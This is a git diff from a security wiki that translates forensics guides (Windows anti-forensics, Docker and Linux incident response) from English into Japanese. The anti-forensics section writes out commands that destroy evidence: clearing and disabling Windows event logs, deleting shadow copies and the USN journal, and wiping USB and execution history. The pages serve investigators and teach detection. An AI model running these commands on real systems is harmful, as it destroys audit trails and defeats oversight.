../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/README.md b/src/forensics/basic-forensic-methodology/README.md index e725dfa85..cf40e92c3 100644 --- a/src/forensics/basic-forensic-methodology/README.md +++ b/src/forensics/basic-forensic-methodology/README.md @@ -1,30 +1,30 @@ -# Basic Forensic Methodology +# 基本的なフォレンジック手法 {{#include ../../banners/hacktricks-training.md}} -## Creating and Mounting an Image +## イメージの作成とマウント {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} -## Malware Analysis +## マルウェア分析 -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +これは**イメージを取得した後に最初に行うべきステップではありません**。しかし、ファイル、ファイルシステムイメージ、メモリイメージ、pcapなどがある場合は、このマルウェア分析技術を独立して使用できますので、これらのアクションを**念頭に置いておくことが重要です**: {{#ref}} malware-analysis.md {{#endref}} -## Inspecting an Image +## イメージの検査 -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +デバイスの**フォレンジックイメージ**が与えられた場合、**パーティションやファイルシステム**を**分析し**、潜在的に**興味深いファイル**(削除されたものも含む)を**回復する**ことができます。方法を学ぶには: {{#ref}} partitions-file-systems-carving/ {{#endref}} -Depending on the used OSs and even platform different interesting artifacts should be searched: +使用されるOSやプラットフォームによって、異なる興味深いアーティファクトを検索する必要があります: {{#ref}} windows-forensics/ @@ -38,42 +38,42 @@ linux-forensics.md docker-forensics.md {{#endref}} -## Deep inspection of specific file-types and Software +## 特定のファイルタイプとソフトウェアの深い検査 -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +非常に**疑わしい****ファイル**がある場合、**ファイルタイプやそれを作成したソフトウェア**に応じて、いくつかの**トリック**が役立つかもしれません。\ +興味深いトリックを学ぶには、以下のページをお読みください: {{#ref}} specific-software-file-type-tricks/ {{#endref}} -I want to do a special mention to the page: +特に言及したいページがあります: {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} -## Memory Dump Inspection +## メモリダンプの検査 {{#ref}} memory-dump-analysis/ {{#endref}} -## Pcap Inspection +## Pcapの検査 {{#ref}} pcap-inspection/ {{#endref}} -## **Anti-Forensic Techniques** +## **アンチフォレンジック技術** -Keep in mind the possible use of anti-forensic techniques: +アンチフォレンジック技術の使用の可能性を念頭に置いてください: {{#ref}} anti-forensic-techniques.md {{#endref}} -## Threat Hunting +## 脅威ハンティング {{#ref}} file-integrity-monitoring.md diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 615ede378..77d80d739 100644 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,159 +1,151 @@ {{#include ../../banners/hacktricks-training.md}} -
+# タイムスタンプ -{% embed url="https://websec.nl/" %} +攻撃者は**ファイルのタイムスタンプを変更すること**に興味を持つかもしれません。\ +タイムスタンプは、MFT内の属性`$STANDARD_INFORMATION` **および** `$FILE_NAME`に見つけることができます。 -# Timestamps +両方の属性には4つのタイムスタンプがあります: **変更**, **アクセス**, **作成**, および **MFTレジストリ変更** (MACEまたはMACB)。 -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` ** and ** `$FILE_NAME`. +**Windowsエクスプローラー**や他のツールは、**`$STANDARD_INFORMATION`**からの情報を表示します。 -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +## TimeStomp - アンチフォレンジツール -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. - -## TimeStomp - Anti-forensic Tool - -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +このツールは**`$STANDARD_INFORMATION`**内のタイムスタンプ情報を**変更**しますが、**`$FILE_NAME`**内の情報は**変更しません**。したがって、**疑わしい** **活動を特定することが可能です**。 ## Usnjrnl -The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes. +**USNジャーナル** (Update Sequence Number Journal)は、NTFS (Windows NTファイルシステム)の機能で、ボリュームの変更を追跡します。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)ツールを使用すると、これらの変更を調査できます。 ![](<../../images/image (449).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +前の画像は、**ツール**によって表示された**出力**で、ファイルに対して**いくつかの変更が行われた**ことが観察できます。 ## $LogFile -**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes. +**ファイルシステムへのすべてのメタデータ変更は**、[書き込み先行ログ](https://en.wikipedia.org/wiki/Write-ahead_logging)として知られるプロセスでログに記録されます。ログに記録されたメタデータは、NTFSファイルシステムのルートディレクトリにある`**$LogFile**`という名前のファイルに保持されます。[LogFileParser](https://github.com/jschicht/LogFileParser)のようなツールを使用して、このファイルを解析し、変更を特定できます。 ![](<../../images/image (450).png>) -Again, in the output of the tool it's possible to see that **some changes were performed**. +再び、ツールの出力では、**いくつかの変更が行われた**ことが確認できます。 -Using the same tool it's possible to identify to **which time the timestamps were modified**: +同じツールを使用して、**タイムスタンプが変更された時刻を特定することが可能です**: ![](<../../images/image (451).png>) -- CTIME: File's creation time -- ATIME: File's modification time -- MTIME: File's MFT registry modification -- RTIME: File's access time +- CTIME: ファイルの作成時刻 +- ATIME: ファイルの変更時刻 +- MTIME: ファイルのMFTレジストリ変更 +- RTIME: ファイルのアクセス時刻 -## `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +## `$STANDARD_INFORMATION`と`$FILE_NAME`の比較 -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. +疑わしい変更されたファイルを特定する別の方法は、両方の属性の時間を比較して**不一致**を探すことです。 -## Nanoseconds +## ナノ秒 -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. +**NTFS**のタイムスタンプは**100ナノ秒**の**精度**を持っています。したがって、2010-10-10 10:10:**00.000:0000のようなタイムスタンプを持つファイルを見つけることは非常に疑わしいです。 -## SetMace - Anti-forensic Tool +## SetMace - アンチフォレンジツール -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. +このツールは、両方の属性`$STARNDAR_INFORMATION`と`$FILE_NAME`を変更できます。ただし、Windows Vista以降は、ライブOSでこの情報を変更する必要があります。 -# Data Hiding +# データ隠蔽 -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. +NFTSはクラスタと最小情報サイズを使用します。つまり、ファイルがクラスタと半分を占有する場合、**残りの半分はファイルが削除されるまで使用されません**。したがって、このスラックスペースに**データを隠すことが可能です**。 -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: +slackerのようなツールを使用すると、この「隠された」スペースにデータを隠すことができます。ただし、`$logfile`や`$usnjrnl`の分析により、いくつかのデータが追加されたことが示される可能性があります: ![](<../../images/image (452).png>) -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. +その後、FTK Imagerのようなツールを使用してスラックスペースを取得することが可能です。この種のツールは、内容を難読化または暗号化して保存することができます。 # UsbKill -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. +これは、**USB**ポートに変更が検出された場合にコンピュータを**シャットダウンする**ツールです。\ +これを発見する方法は、実行中のプロセスを検査し、**実行中の各Pythonスクリプトをレビューする**ことです。 -# Live Linux Distributions +# ライブLinuxディストリビューション -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +これらのディストリビューションは**RAM**メモリ内で**実行されます**。検出する唯一の方法は、**NTFSファイルシステムが書き込み権限でマウントされている場合**です。読み取り権限のみでマウントされている場合、侵入を検出することはできません。 -# Secure Deletion +# セキュア削除 [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -# Windows Configuration +# Windows設定 -It's possible to disable several windows logging methods to make the forensics investigation much harder. +フォレンジック調査をはるかに困難にするために、いくつかのWindowsログ記録方法を無効にすることが可能です。 -## Disable Timestamps - UserAssist +## タイムスタンプの無効化 - UserAssist -This is a registry key that maintains dates and hours when each executable was run by the user. +これは、ユーザーが実行した各実行可能ファイルの日時を保持するレジストリキーです。 -Disabling UserAssist requires two steps: +UserAssistを無効にするには、2つのステップが必要です: -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`と`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`の2つのレジストリキーをゼロに設定して、UserAssistを無効にしたいことを示します。 +2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`のようなレジストリサブツリーをクリアします。 -## Disable Timestamps - Prefetch +## タイムスタンプの無効化 - Prefetch -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. +これは、Windowsシステムのパフォーマンスを向上させる目的で実行されたアプリケーションに関する情報を保存します。ただし、これはフォレンジック実践にも役立ちます。 -- Execute `regedit` -- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -- Select Modify on each of these to change the value from 1 (or 3) to 0 -- Restart +- `regedit`を実行 +- ファイルパス`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`を選択 +- `EnablePrefetcher`と`EnableSuperfetch`の両方を右クリック +- 各々を変更して、値を1(または3)から0に変更 +- 再起動 -## Disable Timestamps - Last Access Time +## タイムスタンプの無効化 - 最後のアクセス時間 -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. +NTFSボリュームからフォルダーが開かれるたびに、システムは**各リストされたフォルダーのタイムスタンプフィールドを更新するための時間を取ります**。これは、最後のアクセス時間と呼ばれます。NTFSボリュームが頻繁に使用される場合、これがパフォーマンスに影響を与える可能性があります。 -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. +1. レジストリエディタを開く (Regedit.exe)。 +2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`に移動します。 +3. `NtfsDisableLastAccessUpdate`を探します。存在しない場合は、このDWORDを追加し、その値を1に設定してプロセスを無効にします。 +4. レジストリエディタを閉じ、サーバーを再起動します。 -## Delete USB History +## USB履歴の削除 -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them). +すべての**USBデバイスエントリ**は、USBデバイスをPCまたはノートパソコンに接続するたびに作成されるサブキーを含む**USBSTOR**レジストリキーの下にWindowsレジストリに保存されます。このキーはここにあります`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**これを削除することで**、USB履歴を削除します。\ +また、[**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html)ツールを使用して、削除したことを確認することもできます(および削除するために)。 -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. +USBに関する情報を保存する別のファイルは、`C:\Windows\INF`内の`setupapi.dev.log`ファイルです。これも削除する必要があります。 -## Disable Shadow Copies +## シャドウコピーの無効化 -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` +**シャドウコピーをリスト**するには`vssadmin list shadowstorage`\ +**削除**するには`vssadmin delete shadow`を実行します。 -You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +GUIを介して削除することもできます。手順は[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)を参照してください。 -To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +シャドウコピーを無効にするには、[こちらの手順](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)を参照してください: -1. Open the Services program by typing "services" into the text search box after clicking the Windows start button. -2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking. -3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK. +1. Windowsスタートボタンをクリックした後、テキスト検索ボックスに「services」と入力してサービスプログラムを開きます。 +2. リストから「Volume Shadow Copy」を見つけて選択し、右クリックしてプロパティにアクセスします。 +3. 「スタートアップの種類」ドロップダウンメニューから「無効」を選択し、変更を適用してOKをクリックして確認します。 -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +シャドウコピーでコピーされるファイルの構成をレジストリ`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`で変更することも可能です。 -## Overwrite deleted files +## 削除されたファイルの上書き -- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -- You can also use tools like [**Eraser**](https://eraser.heidi.ie) +- **Windowsツール**を使用できます:`cipher /w:C` これは、Cドライブ内の未使用のディスクスペースからデータを削除するようにcipherに指示します。 +- [**Eraser**](https://eraser.heidi.ie)のようなツールを使用することもできます。 -## Delete Windows event logs +## Windowsイベントログの削除 -- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +- Windows + R --> eventvwr.msc --> 「Windowsログ」を展開 --> 各カテゴリを右クリックして「ログのクリア」を選択 - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -## Disable Windows event logs +## Windowsイベントログの無効化 - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Inside the services section disable the service "Windows Event Log" -- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` +- サービスセクション内で「Windows Event Log」サービスを無効にします。 +- `WEvtUtil.exec clear-log`または`WEvtUtil.exe cl` -## Disable $UsnJrnl +## $UsnJrnlの無効化 - `fsutil usn deletejournal /d c:` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/docker-forensics.md b/src/forensics/basic-forensic-methodology/docker-forensics.md index 629251985..3416e63c0 100644 --- a/src/forensics/basic-forensic-methodology/docker-forensics.md +++ b/src/forensics/basic-forensic-methodology/docker-forensics.md @@ -2,24 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - -## Container modification - -There are suspicions that some docker container was compromised: +## コンテナの改ざん +いくつかのdockerコンテナが侵害された疑いがあります: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +このコンテナに対する**イメージに関する変更を簡単に見つけることができます**: ```bash docker diff wordpress C /var @@ -33,70 +24,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +前のコマンドで **C** は **Changed** を意味し、**A** は **Added** を意味します。\ +もし `/etc/shadow` のような興味深いファイルが変更されていることがわかった場合、悪意のある活動を確認するためにコンテナからダウンロードすることができます: ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +新しいコンテナを実行し、そのファイルを抽出することで、**元のものと比較することもできます**。 ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +**いくつかの疑わしいファイルが追加された**場合は、コンテナにアクセスして確認できます: ```bash docker exec -it wordpress bash ``` +## 画像の変更 -## Images modifications - -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +エクスポートされたDockerイメージ(おそらく`.tar`形式)を受け取ったときは、[**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases)を使用して**変更の概要を抽出**できます: ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +次に、イメージを**解凍**し、**ブロブにアクセス**して、変更履歴で見つけた疑わしいファイルを検索できます: ```bash tar -xf image.tar ``` +### 基本分析 -### Basic Analysis - -You can get **basic information** from the image running: - +イメージから**基本情報**を取得するには、次のコマンドを実行します: ```bash docker inspect ``` - -You can also get a summary **history of changes** with: - +変更履歴の要約を取得することもできます: ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +画像から**dockerfileを生成**することもできます。 ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +Dockerイメージ内の追加または変更されたファイルを見つけるために、[**dive**](https://github.com/wagoodman/dive)([**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)からダウンロード)ユーティリティを使用することもできます: ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -105,27 +78,18 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +これにより、**dockerイメージの異なるblobをナビゲート**し、どのファイルが変更または追加されたかを確認できます。**赤**は追加されたことを意味し、**黄色**は変更されたことを意味します。**タブ**を使用して他のビューに移動し、**スペース**を使用してフォルダーを折りたたむ/開くことができます。 -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +dieを使用すると、イメージの異なるステージの内容にアクセスすることはできません。そのためには、**各レイヤーを解凍してアクセスする**必要があります。\ +イメージが解凍されたディレクトリから、次のコマンドを実行してイメージのすべてのレイヤーを解凍できます: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## メモリからの資格情報 -## Credentials from memory +ホスト内でdockerコンテナを実行するとき、**ホストからコンテナで実行されているプロセスを見ることができます**。単に`ps -ef`を実行するだけです。 -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` - -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} +したがって(rootとして)、**ホストからプロセスのメモリをダンプし**、**資格情報**を検索することができます。ちょうど[**次の例のように**](../../linux-hardening/privilege-escalation/#process-memory)。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md index 214b917cf..af13a7b0f 100644 --- a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md @@ -1,25 +1,25 @@ {{#include ../../banners/hacktricks-training.md}} -# Baseline +# ベースライン -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +ベースラインは、システムの特定の部分のスナップショットを取得し、**将来の状態と比較して変更を強調表示する**ことから成ります。 -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +例えば、ファイルシステムの各ファイルのハッシュを計算して保存することで、どのファイルが変更されたかを特定できます。\ +これは、作成されたユーザーアカウント、実行中のプロセス、実行中のサービス、およびあまり変更されるべきでないその他のものにも適用できます。 -## File Integrity Monitoring +## ファイル整合性監視 -File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps: +ファイル整合性監視 (FIM) は、ファイルの変更を追跡することによってIT環境とデータを保護する重要なセキュリティ技術です。これには2つの主要なステップが含まれます: -1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications. -2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions. +1. **ベースライン比較:** 将来の比較のためにファイル属性または暗号学的チェックサム(MD5やSHA-2など)を使用してベースラインを確立し、変更を検出します。 +2. **リアルタイム変更通知:** ファイルがアクセスまたは変更されたときに即座にアラートを受け取ります。通常、OSカーネル拡張を通じて行われます。 -## Tools +## ツール - [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) - [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) -## References +## 参考文献 - [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) diff --git a/src/forensics/basic-forensic-methodology/linux-forensics.md b/src/forensics/basic-forensic-methodology/linux-forensics.md index 8d505942f..05730acd2 100644 --- a/src/forensics/basic-forensic-methodology/linux-forensics.md +++ b/src/forensics/basic-forensic-methodology/linux-forensics.md @@ -1,28 +1,17 @@ # Linux Forensics -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../banners/hacktricks-training.md}} -## Initial Information Gathering +## 初期情報収集 -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### 基本情報 +まず最初に、**良く知られたバイナリとライブラリが入った** **USB** を用意することをお勧めします(ubuntuを取得し、フォルダ _/bin_, _/sbin_, _/lib,_ と _/lib64_ をコピーするだけで済みます)。次に、USBをマウントし、環境変数を変更してそれらのバイナリを使用します: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +システムを良好で知られたバイナリを使用するように設定したら、**基本的な情報を抽出し始める**ことができます: ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -40,50 +29,46 @@ cat /etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` +#### 疑わしい情報 -#### Suspicious information +基本情報を取得する際には、以下のような奇妙な事柄を確認する必要があります: -While obtaining the basic information you should check for weird things like: +- **ルートプロセス**は通常低いPIDで実行されるため、大きなPIDを持つルートプロセスを見つけた場合は疑うべきです +- `/etc/passwd`内のシェルを持たないユーザーの**登録されたログイン**を確認します +- シェルを持たないユーザーのために`/etc/shadow`内の**パスワードハッシュ**を確認します -- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -- Check **registered logins** of users without a shell inside `/etc/passwd` -- Check for **password hashes** inside `/etc/shadow` for users without a shell +### メモリダンプ -### Memory Dump - -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +実行中のシステムのメモリを取得するには、[**LiME**](https://github.com/504ensicsLabs/LiME)を使用することをお勧めします。\ +**コンパイル**するには、被害者のマシンが使用している**同じカーネル**を使用する必要があります。 > [!NOTE] -> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it - -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: +> 被害者のマシンに**LiMEやその他のものをインストールすることはできない**ことを覚えておいてください。そうすると、いくつかの変更が加わります。 +したがって、同一のUbuntuバージョンがある場合は、`apt-get install lime-forensics-dkms`を使用できます。\ +他の場合は、githubから[**LiME**](https://github.com/504ensicsLabs/LiME)をダウンロードし、正しいカーネルヘッダーでコンパイルする必要があります。被害者のマシンの**正確なカーネルヘッダー**を取得するには、単に`/lib/modules/`ディレクトリを自分のマシンに**コピー**し、それを使用してLiMEを**コンパイル**します: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiMEは3つの**フォーマット**をサポートしています: -LiME supports 3 **formats**: +- Raw(すべてのセグメントが連結されたもの) +- Padded(rawと同じですが、右側のビットにゼロが入っています) +- Lime(メタデータ付きの推奨フォーマット) -- Raw (every segment concatenated together) -- Padded (same as raw, but with zeroes in right bits) -- Lime (recommended format with metadata +LiMEは、`path=tcp:4444`のようなもので、システムに保存する代わりに**ネットワーク経由でダンプを送信する**ためにも使用できます。 -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +### ディスクイメージング -### Disk Imaging +#### シャットダウン -#### Shutting down +まず最初に、**システムをシャットダウンする**必要があります。これは常に選択肢ではなく、時にはシステムが会社がシャットダウンできないプロダクションサーバーであることがあります。\ +システムをシャットダウンするには**2つの方法**があります。**通常のシャットダウン**と**「プラグを抜く」シャットダウン**です。最初の方法では、**プロセスが通常通り終了する**ことを許可し、**ファイルシステム**が**同期される**ことを可能にしますが、同時に**マルウェア**が**証拠を破壊する**可能性もあります。「プラグを抜く」アプローチは**情報の損失**を伴う可能性があります(メモリのイメージをすでに取得しているため、失われる情報はあまりありません)し、**マルウェアは何もできる機会がありません**。したがって、**マルウェアの可能性がある**と疑う場合は、システムで**`sync`** **コマンド**を実行し、プラグを抜いてください。 -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. - -#### Taking an image of the disk - -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. +#### ディスクのイメージを取得する +**ケースに関連する何かにコンピュータを接続する前に**、それが**読み取り専用としてマウントされる**ことを確認することが重要です。情報を変更しないようにするためです。 